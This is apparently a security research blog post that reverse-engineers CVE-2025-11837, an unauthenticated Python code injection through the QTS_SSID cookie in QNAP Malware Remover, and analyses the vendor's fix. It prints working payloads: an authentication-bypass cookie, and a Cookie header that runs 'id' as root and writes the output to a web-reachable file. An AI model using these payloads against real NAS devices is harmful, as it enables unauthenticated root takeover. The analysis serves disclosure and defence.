Post

CVE-2025-11837 Deep Dive Python Code Injection Vulnerability in QNAP Malware Remover

CVE-2025-11837 Deep Dive Python Code Injection Vulnerability in QNAP Malware Remover

Background

CVE-2025-11837 affects QNAP Malware Remover. It carries a CVSS 9.8 score and is tagged as network-reachable, no authentication required, no user interaction. The vulnerability was first demonstrated at Pwn2Own Ireland 2025 and subsequently fixed by QNAP in advisory QSA-25-47, with the fixed version being Malware Remover 6.6.8.20251023. The advisory provides only three pieces of technical information: CWE-94 (code injection), the affected version range, and the fixed version — no PoC, no root-cause analysis, no vulnerability localization. For a CVSS 9.8 unauthenticated RCE, the public record is essentially blank beyond the advisory description.

It is worth noting that this is not the first injection issue in Malware Remover. QSA-21-16, published in 2021, was a command injection in the same component. The same component, the same class of problem, recurring years later. Whether this is a recurrence of the old issue or a new injection form cannot be determined from the advisory alone and requires further analysis.

This post documents the process of locating, reconstructing, and verifying the root cause, starting from two QPKG builds.

Summary

  • Vulnerability Type: malware_remover.cgi concatenates an HTTP Cookie value into a Python source template without validation, then executes the resulting script with python -c — Python code injection (CWE-94)
  • Exploitation: No valid session required; a single HTTP request triggers it, and authentication itself is bypassable
  • Impact: Unauthenticated remote code execution, process privileges uid=0 (root)
  • Prerequisites: Network reachability only — no credentials, no user interaction
  • Fix: 6.6.8 adds a length check (≤32) and an isalnum whitelist on the cookie value before concatenation

Environment Setup

The analysis environment is based on QNAP’s virtualized edition QuTScloud (c5.1.7.2739). Two versions of Malware Remover are used for vulnerability reproduction and fix comparison:

Component Version File
QuTScloud c5.1.7.2739 QuTScloud_c5.1.7.2739.ova.zip
Malware Remover (vulnerable) 6.6.7.20250813_093505 MalwareRemover-6.6.7.20250813_093505-x86_64.zip
Malware Remover (fixed) 6.6.8.20251023_151451 MalwareRemover-6.6.8.20251023_151451-x86_64.zip

The setup steps are as follows:

  1. Extract QuTScloud_c5.1.7.2739.ova.zip to obtain the OVA virtual machine image.
  2. Import the OVA into a virtual machine hypervisor (VirtualBox / VMware, etc.).
  3. Start the virtual machine, complete the QuTScloud initialization, and confirm that the NAS environment is running and the web management interface is accessible.
  4. Import the Malware Remover installation package into the virtual machine via App Center. Since a two-version comparison is required, the vulnerable version (6.6.7) and the fixed version (6.6.8) are installed in turn.

Sample and Attack Surface

Both versions are complete QNAP QPKG packages with identical structure:

1
2
3
MalwareRemover/
├── MalwareRemover-6.6.7/    ← vulnerable version
└── MalwareRemover-6.6.8/    ← fixed version

Each package contains three categories of files:

  • www/malware_remover.cgi — C++ compiled CGI binary, the HTTP entry point
  • modules/*.pyc — Python 2.7 bytecode, business logic
  • MalwareRemover_exec / MalwareRemover_scan — shc-packed auxiliary binaries

The attack surface exposed in the Apache config:

1
2
3
Alias /malware_remover "/home/httpd/cgi-bin/qpkg/MalwareRemover"
RewriteRule "^scan/status/?"  "malware_remover.cgi?action=status"
RewriteRule "^scan/start/?"   "malware_remover.cgi?action=scan"

The CGI dispatches on the action parameter: status, scan, stop, setting, background_task, about, system_status. Every rewrite rule, shell script, and .default template is byte-for-byte identical between the two versions. The difference lies entirely inside the binaries.

Plaintext Resource Comparison

With two firmware builds in hand, the first step is to compress the diff scope by elimination rather than decompiling directly. Comparing every plaintext resource:

File Result
common.sh identical
MalwareRemover.sh identical
apache-malware_remover.conf identical
modules/default/*.default identical

Zero differences in plaintext resources. The difference lies inside malware_remover.cgi or the .pyc files. The next step is a direct ELF import-table diff between the two binaries.

Import-Table Diff

Comparing the ELF import symbol tables of both malware_remover.cgi builds, looking for added or removed library functions. The only change across the entire import table:

1
2
6.6.7: no isalnum
6.6.8: isalnum@@GLIBC_2.2.5 (extern @ 0x21a998)  ← only addition

Function count went from 384 to 386, and isalnum is the only business-relevant addition. Functions like execvp, fork, pipe, dup2, sprintf, regcomp, regexec are identical across both versions.

Based on this single fact, the vulnerability can be classified:

  • isalnum is a character whitelist, equivalent to [A-Za-z0-9]
  • The canonical fix for CWE-94 is “validate external input before executing it”
  • execvp/fork are still present in both versions, so command execution was not removed — a filter was added before the call

The conclusion: the fix adds an isalnum whitelist on some external input to block code injection. Which input, into what, and how it executes — that requires further analysis.

Fix Localization

isalnum is a newly added symbol, so its caller is where the fix lands. Tracing cross-references to the symbol:

1
2
3
4
5
6
7
# xrefs to the isalnum PLT thunk
xref_query(addr=0x3330, direction="to")
# → single caller: main @ 0x3a8d

# also check execvp's callers
xref_query(addr=0x2e80, direction="to")
# → single caller: popen_pipeline_exec @ 0x687c

isalnum has exactly one call site in all of 6.6.8, inside main at 0x3a8d. execvp is only called from a self-implemented popen-style executor. The fix therefore sits in main and relates to that executor’s call chain.

The relevant functions are renamed in the IDB for clarity in subsequent analysis:

1
2
3
sub_9570 → popen_pipeline_exec       (popen-style command executor)
sub_66F0 → popen_child_dup2_execvp   (child: dup2 + execvp)
main     → main_CVE_2025_11837_fixed (6.6.8) / _vulnerable (6.6.7)

Decompiling both versions of main and comparing the loop that calls isalnum. This loop handles HTTP cookies.

Vulnerable 6.6.7 (cookie handling @ 0x3b01):

1
2
3
4
5
6
while (1) {
    v9 = *(_QWORD *)v6;                    // cookie value, no validation
    snprintf(v114, 0x400, &byte_21A9C0, v75[0], v9);  // v9 concatenated directly
    sub_9570(s1, 64, ::dest, &unk_16294, v114, ...);   // execute v114
    // ...
}

Fixed 6.6.8 (cookie handling @ 0x3a60):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while (1) {
    v8 = *v7;                               // cookie value
    if (strlen(*v7) <= 0x20) {              // ① length check ≤ 32
        v9 = *(unsigned __int8 *)v8;
        if ((_BYTE)v9) {
            v10 = v8;
            while (isalnum(v9)) {           // ② per-char isalnum whitelist ← new
                v9 = *(unsigned __int8 *)++v10;
                if (!(_BYTE)v9) goto LABEL_28;
            }
            goto LABEL_25;                  // non-alnum char → skip this cookie
        }
LABEL_28:
        snprintf(v116, 0x400, &byte_21A000, v86[0], v16);
        sub_95D0(...);                      // popen_pipeline_exec
    }
}

6.6.7 concatenates the cookie value into a string template with no validation and executes it. 6.6.8 adds two checks before concatenation: length at most 32, and every character alphanumeric.

Limitations Imposed by String Encryption

Revisiting the key call in 6.6.7:

1
sub_9570(s1, 64, ::dest, &unk_16294, v114, ...);

The three key operands are all ciphertext placeholders in IDA, with no plaintext visible:

Operand IDA display Actual meaning (unknown)
::dest no plaintext string interpreter path (sh? python?)
&unk_16294 unk_ (unknown) prefix command argument (-c? or something else?)
&byte_21A9C0 (template in the snprintf above) byte_ prefix command/code template (how is the cookie concatenated?)

The unk_ and byte_ prefixes are clear IDA signals: these locations hold raw byte data, not recognized as strings — because they are ciphertext.

Although the isalnum whitelist in the fixed version already reveals that the injection vector is the cookie, this line does not show what it is injected into. The following three combinations correspond to fundamentally different exploitation approaches:

  • Template is sh -c "...%s..." → shell injection, payload is ;command (CWE-78)
  • Template is python -c "...%s..." → Python code injection, payload is ');import os;... (CWE-94)
  • The template’s quote style (' / " / none) determines the payload’s closing method

The CVE record labels this CWE-94 (code injection), but intelligence requires verification — only by recovering the template plaintext can the injection language be confirmed and a usable PoC constructed. With the template plaintext unknown:

  • Unknown injection language → payload syntax cannot be constructed
  • Unknown quote style → closing method cannot be determined
  • CWE-78 and CWE-94 cannot even be distinguished

Conclusion: string decryption becomes a hard blocker for the analysis. Without recovering the three plaintexts — template, interpreter, argument — all subsequent PoC construction is impossible. The analysis must therefore temporarily leave the vulnerability logic itself and turn to reversing the string encryption algorithm. This is a typical anti-analysis approach in vendor binaries like QNAP’s: the logic is not hidden, only the strings are, forcing the analyst to break the string layer before proceeding.

Reversing the String Encryption

At startup, main calls a batch of sub_B420 / sub_B3C0 to decrypt .data-section ciphertext. Decompiling the decryptors reveals two stages.

Stage two (subtraction, sub_B3C0):

1
2
3
4
5
6
7
8
9
void sub_B3C0(char *dest, char *s) {
    int v2 = strlen(s);        // key length
    int v3 = strlen(dest);     // ciphertext length
    char *v4 = calloc(v3 + 1, 1);
    for (int i = 0; i < v3; i++)
        v4[i] = dest[i] - s[i % v2];   // signed byte subtraction
    strncpy(dest, v4, v3);
    free(v4);
}

Stage one (XOR pre-processing, sub_B4C0 / sub_B520):

1
2
3
4
// single-byte v6 = a2 ^ a3 = 243 ^ 246 = 5, XOR'd into the key itself
v6 = 243 ^ 246;  // = 0x05
for (i = 0; i < len; i++)
    key[i] ^= v6;

The first decryption attempt used the raw key directly for cipher - key and produced garbage. The reason: sub_B520 first XORs the key itself with 0x05, so the real key differs from the raw key. After correction:

1
2
real_key[i] = raw_key[i] ^ 0x05            # pre-process the key
plain[i]    = cipher[i] - real_key[i % 32]  # decrypt with the pre-processed key

The global key lives at 0x21aa40, 32 bytes long.

Injection Point Reconstruction

An IDA Python script decrypts every relevant field in the 6.6.7 IDB. Results:

Address Purpose Decrypted plaintext
0x21aa20 interpreter path /mnt/ext/opt/Python/bin/python
0x21a9c0 auth template import sys;sys.path.append('%s');from qnap_helper import check_sid;print(check_sid('%s'))
0x21a940 business template head import sys;sys.path.append('%s');from web_interface import WebInterface;
0x21a900 scan action print(WebInterface().start_scanning())
0x21a8c0 stop print(WebInterface().stop_scanning())
0x21a880 status print(WebInterface().get_scan_status())
0x21a840 setting GET print(WebInterface().get_setting())
0x21a800 setting PUT print(WebInterface().set_setting(sys.argv[1]))
0x21a7c0 background_task print(WebInterface().background_task())
0x21a780 about print(WebInterface().get_about_info())
0x21a740 system_status print(WebInterface().get_system_status())
0x16294 argument -c
0x21a9a6 cookie name #0 QTS_SSID
0x21a999 cookie name #1 QTS_SSL_SSID
0x21a991 cookie name #2 NAS_SID
0x21a989 cookie name #3 nas_sid

The 0x21a9c0 field determines the vulnerability’s nature: this is not shell injection, it is Python code injection.

The CGI concatenates the cookie value into a Python source string:

1
2
3
import sys;sys.path.append('%s');
from qnap_helper import check_sid;
print(check_sid('<cookie value>'))     # ← attacker controls this

It is then executed with /mnt/ext/opt/Python/bin/python -c <entire script>. An attacker only needs to close the single quotes around check_sid('...') to inject an arbitrary Python expression. This is consistent with the definition of CWE-94 (Improper Control of Generation of Code) — what gets concatenated is code, not data.

This also explains the distinction from the earlier QSA-21-16: QSA-21-16 was a command injection, while this case is a Python code injection. The form differs, but the root cause is the same — external input concatenated into executable content without validation.

The full call chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
attacker HTTP request
  │  Cookie: QTS_SSID=<payload>
  ▼
Apache (rewrite → malware_remover.cgi)
  ▼
main() reads HTTP_COOKIE
  │  regex extracts QTS_SSID=<value>     ← no validation
  │  snprintf(template, modules_path, <value>)  ← builds Python source
  ▼
popen_pipeline_exec("python","-c",<script>)
  │  pipe + fork + dup2 + execvp
  ▼
Python runs attacker-built code  ← RCE

The CGI also checks the Python output with strncasecmp(result, "True", 4) to decide whether authentication passed. The injection therefore not only executes code, it can also bypass authentication simultaneously.

The injection logic is straightforward: close the single quotes around check_sid('...') and append an arbitrary expression. The initial payload:

1
x')+(__import__('os').system('echo PWN'))+check_sid('

The assembled Python is a valid expression. But in testing every payload failed, all returning {"status":401}:

1
2
3
4
baseline AAAA:           1.07s  HTTP 200  {"status":401}
auth bypass:             1.12s  HTTP 200  {"status":401}  ← should be 200
syntax break zzz))):     0.05s  HTTP 200  {"status":401}
exception trigger 1/0:   0.02s  HTTP 200  {"status":401}

The key lies in the response timing. A pure alphanumeric cookie takes 1.07 seconds, consistent with the Python interpreter starting up, confirming the request reached the CGI. Payloads with special characters take 0.05 seconds, far too short: the CGI was never invoked. The web server rejected the request before it reached the CGI.

The problem is the legal character set for HTTP cookie values. RFC 6265 plus Apache’s strict parsing forbids spaces in cookie values. The original payload has spaces after or and around import; Apache sees a space and drops the whole request.

The solution is to substitute TAB (\t) for the space. TAB is not in the cookie forbidden-character list, the Python lexer treats it as whitespace, and the shell accepts it as a command separator. The corrected auth-bypass payload:

1
x')or'TruePWN'or('

This payload contains no spaces and is usable directly. The RCE payload with Python keywords uses TAB between keywords:

1
x')or	__import__('time').sleep(6)	or'TrueSLEEP'or(

Authentication Bypass Verification

First, verifying the authentication bypass. Payload x')or'TruePWN'or(', assembled Python:

1
print(check_sid('x')or'TruePWN'or(''))

Execution logic: check_sid('x') returns falsy (‘x’ is not a valid session), or short-circuits to 'TruePWN', print outputs a string starting with True, the CGI’s strncasecmp accepts it as authenticated, and the action=status handler returns protected data. Testing returned the status:200 scan-state JSON; the bypass holds.

Command Echo

The auth-injection path yields no echo. To obtain command output, an alternative route is needed: write the command result to a web-reachable directory and fetch it over HTTP. The Apache Alias exposes the path:

1
Alias /malware_remover "/home/httpd/cgi-bin/qpkg/MalwareRemover"

The /home/httpd/cgi-bin/qpkg/MalwareRemover/ directory is reachable via /malware_remover/<filename>. The payload redirects the output of id into leak.txt in that directory:

1
Cookie: QTS_SSID=x')or[__import__('os').system('id>	/home/httpd/cgi-bin/qpkg/MalwareRemover/leak.txt'),'TrueRCE'][1]or(

The list index [system(...),'TrueRCE'][1] keeps the expression returning 'TrueRCE' (so the CGI authenticates), while the side effect of os.system has already written the file. The file is then retrieved via curl https://target/malware_remover/leak.txt:

1
2
3
4
id:      uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
uname:   Linux NAS50F9BF 5.10.60-qnap #1 SMP Fri Apr 19 02:06:34 CST 2024 x86_64
whoami:  admin
passwd:  admin:x:0:0:administrator,,,:/share/homes/admin:/bin/sh

Executed as uid=0 (root), able to read /etc/passwd and other sensitive files.

Fix Analysis

The 6.6.8 fix lands in main, adding two checks on the cookie value: length at most 32 bytes, and every character passing isalnum. These two constraints close off both the single-quote close and the expression injection — the attacker can no longer put any non-alphanumeric character into the template, and the Python code injection entry point is shut.

From an engineering standpoint the fix is well placed. It does not rewrite the auth template or change the execution method; it puts a whitelist on the boundary where external input enters the code template. That is the most thorough fix for CWE-94: if you cannot trust the input being concatenated into source code, constrain it to alphanumeric before concatenation.

Methodology Review

Stage Finding Significance
Import-table diff isalnum is the only addition One symbol classifies the whole vulnerability
String decryption check_sid('%s') is Python Reclassifies from shell injection to code injection
PoC all failing cookie value forbids spaces Explains every failure; TAB is the bypass

Looking back at the analysis, the highest-yield first step was the import-table diff. A single added isalnum, paired with the CWE-94 label, allows determining the vulnerability class without reading any decompilation. The XOR key pre-processing in the string decryptor should have been noticed earlier. The cookie-no-spaces issue would have cost less time if tested from the start with a minimal payload (just closing the single quote, no spaces at all).

Timeline

Date Event
2025-10-23 Fixed version 6.6.8.20251023 released
2026-06-22 Firmware reverse engineering, vulnerability located and reproduced

Mitigation

  1. Upgrade immediately to Malware Remover 6.6.8.20251023 or newer
  2. If immediate upgrade is not possible, reduce the network exposure of the NAS management interface and keep it off the public internet
  3. Review web access logs for anomalous /malware_remover/ requests or unusual cookie values

Conclusion

CVE-2025-11837 is a typical Python code injection obscured by the “code injection” label and an empty public record. The difficulty lies not in exploitation — closing a single quote and appending an expression is standard — but in tracing from a single isalnum addition between two versions back to the Python template obscured by string encryption, then confirming the injection is source concatenation rather than shell command concatenation.

The case shows that CWE-94 does not necessarily mean eval or a shell call. Anything where external input is concatenated into executable code text qualifies. The fix also points to the correct boundary: do not try to sanitize the entire code string, constrain the input to alphanumeric before it reaches the template.

References

This post is licensed under CC BY 4.0 by the author.